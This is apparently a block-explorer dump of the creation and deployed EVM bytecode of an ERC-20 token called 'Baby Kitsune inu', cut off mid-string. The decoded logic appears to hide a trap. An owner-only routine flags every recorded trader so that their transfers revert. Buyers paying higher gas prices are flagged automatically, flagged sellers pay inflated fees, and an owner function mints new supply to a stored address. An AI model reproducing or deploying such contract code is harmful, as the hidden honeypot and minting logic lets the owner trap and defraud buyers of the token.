50613b9682613b55565b602082019050919050565b60006020820190508181036000830152613bba81613b7e565b9050919050565b7f546f6b656e2076616c7565206d75737420626520686967686572207468616e2060008201527f7a65726f2e000000000000000000000000000000000000000000000000000000602082015250565b6000613c1d60258361332a565b9150613c2882613bc1565b604082019050919050565b60006020820190508181036000830152613c4c81613c10565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000613c8960168361332a565b9150613c9482613c53565b602082019050919050565b60006020820190508181036000830152613cb881613c7c565b9050919050565b6000613cca82613689565b915060ff821415613cde57613cdd6138d1565b5b600182019050919050565b6000613cf48261343d565b9150613cff8361343d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613d3857613d376138d1565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613d7d8261343d565b9150613d888361343d565b925082613d9857613d97613d43565b5b828204905092915050565b6000613dae8261343d565b9150613db98361343d565b925082821015613dcc57613dcb6138d1565b5b828203905092915050565b6000606082019050613dec60008301866135d0565b613df960208301856135d0565b613e0660408301846135d0565b949350505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050613e4c81613411565b92915050565b600060208284031215613e6857613e676133da565b5b6000613e7684828501613e3d565b91505092915050565b6000819050919050565b6000613ea4613e9f613e9a84613e7f565b613556565b61343d565b9050919050565b613eb481613e89565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613eef816133ff565b82525050565b6000613f018383613ee6565b60208301905092915050565b6000602082019050919050565b6000613f2582613eba565b613f2f8185613ec5565b9350613f3a83613ed6565b8060005b83811015613f6b578151613f528882613ef5565b9750613f5d83613f0d565b925050600181019050613f3e565b5085935050505092915050565b600060a082019050613f8d60008301886135d0565b613f9a6020830187613eab565b8181036040830152613fac8186613f1a565b9050613fbb60608301856136c0565b613fc860808301846135d0565b9695505050505050565b6000613fdd82613582565b9050919050565b613fed81613fd2565b82525050565b600060c08201905061400860008301896136c0565b61401560208301886135d0565b6140226040830187613eab565b61402f6060830186613eab565b61403c6080830185613fe4565b61404960a08301846135d0565b979650505050505050565b60008151905061406381613447565b92915050565b600080600060608486031215614082576140816133da565b5b600061409086828701614054565b93505060206140a186828701614054565b92505060406140b286828701614054565b915050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220107969ca4f5f967e88c6bf81dc533165e00de431787f4f6bcfacf22658e026ce64736f6c634300080b0033

Deployed Bytecode

0x6080604052600436106102135760003560e01c80636b130f9a11610118578063a0688160116100a0578063b115e4df1161006f578063b115e4df14610766578063bbc0c74214610791578063cebb1622146107bc578063dd62ed3e146107e7578063e55fc9c7146108245761021a565b8063a068816014610698578063a457c2d7146106c1578063a5edb92e146106fe578063a9059cbb146107295761021a565b806378109e54116100e757806378109e54146105c15780637d1db4a5146105ec5780637ed4ce42146106175780638da5cb5b1461064257806395d89b411461066d5761021a565b80636b130f9a1461052d57806370a0823114610544578063715018a61461058157806377c325d6146105985761021a565b806323b872dd1161019b578063395093511161016a5780633950935114610446578063493367081461048357806349bd5a5e1461049a5780634a74bb02146104c55780635c32460b146104f05761021a565b806323b872dd1461039c5780632598cdb2146103d9578063313ce567146104045780633158952e1461042f5761021a565b80630ddcfe8e116101e25780630ddcfe8e146102db5780631694505e1461030457806318160ddd1461032f5780631d97b7cd1461035a578063220f6696146103715761021a565b806306fdde031461021f578063095ea7b31461024a5780630a702e8d146102875780630b78f9c0146102b25761021a565b3661021a57005b600080fd5b34801561022b57600080fd5b5061023461084d565b60405161024191906133b8565b60405180910390f35b34801561025657600080fd5b50610271600480360381019061026c9190613473565b61088a565b60405161027e91906134ce565b60405180910390f35b34801561029357600080fd5b5061029c6108a8565b6040516102a991906134ce565b60405180910390f35b3480156102be57600080fd5b506102d960048036038101906102d491906134e9565b6108bb565b005b3480156102e757600080fd5b5061030260048036038101906102fd9190613529565b61091c565b005b34801561031057600080fd5b506103196109f3565b60405161032691906135b5565b60405180910390f35b34801561033b57600080fd5b50610344610a19565b60405161035191906135df565b60405180910390f35b34801561036657600080fd5b5061036f610a23565b005b34801561037d57600080fd5b50610386610acc565b60405161039391906134ce565b60405180910390f35b3480156103a857600080fd5b506103c360048036038101906103be91906135fa565b610adf565b6040516103d091906134ce565b60405180910390f35b3480156103e557600080fd5b506103ee610bb8565b6040516103fb919061366e565b60405180910390f35b34801561041057600080fd5b50610419610bde565b60405161042691906136a5565b60405180910390f35b34801561043b57600080fd5b50610444610be7565b005b34801561045257600080fd5b5061046d60048036038101906104689190613473565b610cf2565b60405161047a91906134ce565b60405180910390f35b34801561048f57600080fd5b50610498610da5565b005b3480156104a657600080fd5b506104af610dff565b6040516104bc91906136cf565b60405180910390f35b3480156104d157600080fd5b506104da610e25565b6040516104e791906134ce565b60405180910390f35b3480156104fc57600080fd5b5061051760048036038101906105129190613529565b610e38565b60405161052491906134ce565b60405180910390f35b34801561053957600080fd5b50610542610e8e565b005b34801561055057600080fd5b5061056b60048036038101906105669190613529565b610eef565b60405161057891906135df565b60405180910390f35b34801561058d57600080fd5b50610596610f38565b005b3480156105a457600080fd5b506105bf60048036038101906105ba9190613716565b610ff6565b005b3480156105cd57600080fd5b506105d6611062565b6040516105e391906135df565b60405180910390f35b3480156105f857600080fd5b50610601611068565b60405161060e91906135df565b60405180910390f35b34801561062357600080fd5b5061062c61106e565b60405161063991906135df565b60405180910390f35b34801561064e57600080fd5b50610657611074565b60405161066491906136cf565b60405180910390f35b34801561067957600080fd5b5061068261109d565b60405161068f91906133b8565b60405180910390f35b3480156106a457600080fd5b506106bf60048036038101906106ba9190613743565b6110da565b005b3480156106cd57600080fd5b506106e860048036038101906106e39190613473565b6112aa565b6040516106f591906134ce565b60405180910390f35b34801561070a57600080fd5b50610713611377565b60405161072091906134ce565b60405180910390f35b34801561073557600080fd5b50610750600480360381019061074b9190613473565b61138a565b60405161075d91906134ce565b60405180910390f35b34801561077257600080fd5b5061077b6113a8565b604051610788919061366e565b60405180910390f35b34801561079d57600080fd5b506107a66113ce565b6040516107b391906134ce565b60405180910390f35b3480156107c857600080fd5b506107d16113e1565b6040516107de91906135df565b60405180910390f35b3480156107f357600080fd5b5061080e60048036038101906108099190613783565b6113e7565b60405161081b91906135df565b60405180910390f35b34801561083057600080fd5b5061084b600480360381019061084691906137c3565b61146e565b005b60606040518060400160405280601081526020017f42616279204b697473756e6520696e7500000000000000000000000000000000815250905090565b600061089e6108976114c7565b84846114cf565b6001905092915050565b601060029054906101000a900460ff1681565b6108cb6108c66114c7565b610e38565b61090a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090190613816565b60405180910390fd5b81600281905550806003819055505050565b6109246114c7565b73ffffffffffffffffffffffffffffffffffffffff16610942611074565b73ffffffffffffffffffffffffffffffffffffffff1614610998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098f90613882565b60405180910390fd5b6001600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600154905090565b610a33610a2e6114c7565b610e38565b610a72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6990613816565b60405180910390fd5b6001601060016101000a81548160ff0219169083151502179055506001601060026101000a81548160ff0219169083151502179055506001601060006101000a81548160ff02191690831515021790555042601181905550565b601360149054906101000a900460ff1681565b6000610aec848484611663565b610bad84610af86114c7565b610ba8856040518060600160405280602881526020016140bd60289139600a60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b5e6114c7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c99092919063ffffffff16565b6114cf565b600190509392505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006009905090565b610bf7610bf26114c7565b610e38565b610c36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2d90613816565b60405180910390fd5b60005b600f80549050811015610cef576001600d6000600f8481548110610c6057610c5f6138a2565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ce790613900565b915050610c39565b50565b6000610d9b610cff6114c7565b84610d9685600a6000610d106114c7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461261e90919063ffffffff16565b6114cf565b6001905092915050565b610db5610db06114c7565b610e38565b610df4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610deb90613816565b60405180910390fd5b600554600481905550565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601360159054906101000a900460ff1681565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610e9e610e996114c7565b610e38565b610edd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed490613816565b60405180910390fd5b60006002819055506000600381905550565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6110066110016114c7565b610e38565b611045576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103c90613816565b60405180910390fd5b80601060026101000a81548160ff02191690831515021790555050565b60055481565b60045481565b60025481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f624b697473756e65000000000000000000000000000000000000000000000000815250905090565b6110ea6110e56114c7565b610e38565b611129576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112090613816565b60405180910390fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461118357600080fd5b6111b0600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168284612634565b81600160008282546111c29190613949565b9250508190555081600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112189190613949565b925050819055508073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161129e91906135df565b60405180910390a35050565b600061136d6112b76114c7565b84611368856040518060600160405280602581526020016140e560259139600a60006112e16114c7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c99092919063ffffffff16565b6114cf565b6001905092915050565b601060009054906101000a900460ff1681565b600061139e6113976114c7565b8484611663565b6001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601060019054906101000a900460ff1681565b60035481565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61147e6114796114c7565b610e38565b6114bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b490613816565b60405180910390fd5b8060058190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115395750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b611578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156f906139eb565b60405180910390fd5b80600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161165691906135df565b60405180910390a3505050565b61166b611074565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156116f45750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561174e5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561178657503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117e05750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561181a575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118595750611829611074565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118af5750600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119055750600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561196957600061191583610eef565b905060055482826119269190613949565b1115611967576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195e90613aa3565b60405180910390fd5b505b611971611074565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119df57506119af611074565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611a355750600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a8b5750600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ad657600454811115611ad5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611acc90613b35565b60405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b405750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b611b7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7690613ba1565b60405180910390fd5b60008111611bc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb990613c33565b60405180910390fd5b601060019054906101000a900460ff16611cb757600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c775750600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611cb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cad90613c9f565b60405180910390fd5b5b426003601154611cc79190613949565b11611ce8576000601060006101000a81548160ff0219169083151502179055505b426004601154611cf89190613949565b11611d19576000601060026101000a81548160ff0219169083151502179055505b601060029054906101000a900460ff16158015611d805750600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ddd57600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611ddc57600080fd5b5b601060029054906101000a900460ff168015611e075750426005601154611e049190613949565b11155b15611e1557611e14612639565b5b601060009054906101000a900460ff168015611e7f5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611e90575064012a05f2003a10155b15611eee576001600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b611ef6611074565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611f7f5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611fd55750600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612096576001600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600f839080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b61209e611074565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156121275750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561217d5750600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561223e576001600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600f829080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b612246611074565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156122cf5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561238057600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561237f576001600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b600a600060149054906101000a900460ff1660ff16101580156123b05750601360149054906101000a900460ff16155b801561240a5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156124225750601360159054906101000a900460ff165b1561246a57600061243230610eef565b90506004548111156124445760045490505b60008060146101000a81548160ff021916908360ff160217905550612468816126f5565b505b6000600190506000600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806125135750600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561252157600091506125b5565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561257c57600190505b6000601481819054906101000a900460ff168092919061259b90613cbf565b91906101000a81548160ff021916908360ff160217905550505b6125c285858585856128ba565b5050505050565b6000838311158290612611576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260891906133b8565b60405180910390fd5b5082840390509392505050565b6000818361262c9190613949565b905092915050565b505050565b60005b600f805490508110156126f2576001600d6000600f8481548110612663576126626138a2565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806126ea90613900565b91505061263c565b50565b6001601360146101000a81548160ff021916908315150217905550600060646037836127219190613ce9565b61272b9190613d72565b905060006064602c8461273e9190613ce9565b6127489190613d72565b9050600060c8846127599190613d72565b9050600047905061277f8385846127709190613949565b61277a9190613949565b612fb1565b6000814761278d9190613da3565b9050600060646037836127a09190613ce9565b6127aa9190613d72565b905060006064602c846127bd9190613ce9565b6127c79190613d72565b90506127e9858284866127da9190613da3565b6127e49190613da3565b6131f4565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561858284866128189190613da3565b6128229190613da3565b8760405161283293929190613dd7565b60405180910390a1612866600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836132d4565b479250612895600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846132d4565b505050505050506000601360146101000a81548160ff02191690831515021790555050565b81612a455782600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461290a9190613da3565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129989190613949565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612a3891906135df565b60405180910390a3612faa565b8015612c8f576000606460025485612a5d9190613ce9565b612a679190613d72565b905060008185612a779190613da3565b905084600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ac49190613da3565b600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b529190613949565b600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612be09190613949565b600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612c8091906135df565b60405180910390a35050612fa9565b6000600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612d13576064600354600960ff1686612cf89190613ce9565b612d029190613ce9565b612d0c9190613d72565b9050612d87565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612d8657606460035485612d799190613ce9565b612d839190613d72565b90505b5b60008185612d959190613da3565b905084600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612de29190613da3565b600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e709190613949565b600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612efe9190613949565b600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612f9e91906135df565b60405180910390a350505b5b5050505050565b6000600267ffffffffffffffff811115612fce57612fcd613e0e565b5b604051908082528060200260200182016040528015612ffc5781602001602082028036833780820191505090505b5090503081600081518110613014576130136138a2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156130bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130df9190613e52565b816001815181106130f3576130f26138a2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061315a30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114cf565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016131be959493929190613f78565b600060405180830381600087803b1580156131d857600080fd5b505af11580156131ec573d6000803e3d6000fd5b505050505050565b61322130601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114cf565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008061dead426040518863ffffffff1660e01b815260040161328a96959493929190613ff3565b60606040518083038185885af11580156132a8573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906132cd9190614069565b5050505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561331a573d6000803e3d6000fd5b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561335957808201518184015260208101905061333e565b83811115613368576000848401525b50505050565b6000601f19601f8301169050919050565b600061338a8261331f565b613394818561332a565b93506133a481856020860161333b565b6133ad8161336e565b840191505092915050565b600060208201905081810360008301526133d2818461337f565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061340a826133df565b9050919050565b61341a816133ff565b811461342557600080fd5b50565b60008135905061343781613411565b92915050565b6000819050919050565b6134508161343d565b811461345b57600080fd5b50565b60008135905061346d81613447565b92915050565b6000806040838503121561348a576134896133da565b5b600061349885828601613428565b92505060206134a98582860161345e565b9150509250929050565b60008115159050919050565b6134c8816134b3565b82525050565b60006020820190506134e360008301846134bf565b92915050565b60008060408385031215613500576134ff6133da565b5b600061350e8582860161345e565b925050602061351f8582860161345e565b9150509250929050565b60006020828403121561353f5761353e6133da565b5b600061354d84828501613428565b91505092915050565b6000819050919050565b600061357b613576613571846133df565b613556565b6133df565b9050919050565b600061358d82613560565b9050919050565b600061359f82613582565b9050919050565b6135af81613594565b82525050565b60006020820190506135ca60008301846135a6565b92915050565b6135d98161343d565b82525050565b60006020820190506135f460008301846135d0565b92915050565b600080600060608486031215613613576136126133da565b5b600061362186828701613428565b935050602061363286828701613428565b92505060406136438682870161345e565b9150509250925092565b6000613658826133df565b9050919050565b6136688161364d565b82525050565b6000602082019050613683600083018461365f565b92915050565b600060ff82169050919050565b61369f81613689565b82525050565b60006020820190506136ba6000830184613696565b92915050565b6136c9816133ff565b82525050565b60006020820190506136e460008301846136c0565b92915050565b6136f3816134b3565b81146136fe57600080fd5b50565b600081359050613710816136ea565b92915050565b60006020828403121561372c5761372b6133da565b5b600061373a84828501613701565b91505092915050565b6000806040838503121561375a576137596133da565b5b60006137688582860161345e565b925050602061377985828601613428565b9150509250929050565b6000806040838503121561379a576137996133da565b5b60006137a885828601613428565b92505060206137b985828601613428565b9150509250929050565b6000602082840312156137d9576137d86133da565b5b60006137e78482850161345e565b91505092915050565b50565b600061380060008361332a565b915061380b826137f0565b600082019050919050565b6000602082019050818103600083015261382f816137f3565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061386c60208361332a565b915061387782613836565b602082019050919050565b6000602082019050818103600083015261389b8161385f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061390b8261343d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561393e5761393d6138d1565b5b600182019050919050565b60006139548261343d565b915061395f8361343d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613994576139936138d1565b5b828201905092915050565b7f4552523a207a65726f2061646472657373000000000000000000000000000000600082015250565b60006139d560118361332a565b91506139e08261399f565b602082019050919050565b60006020820190508181036000830152613a04816139c8565b9050919050565b7f596f752061726520747279696e6720746f2062757920746f6f206d616e79207460008201527f6f6b656e732e20596f752068617665207265616368656420746865206c696d6960208201527f7420666f72206f6e652077616c6c65742e000000000000000000000000000000604082015250565b6000613a8d60518361332a565b9150613a9882613a0b565b606082019050919050565b60006020820190508181036000830152613abc81613a80565b9050919050565b7f596f752061726520747279696e6720746f20627579206d6f7265207468616e2060008201527f746865206d6178207472616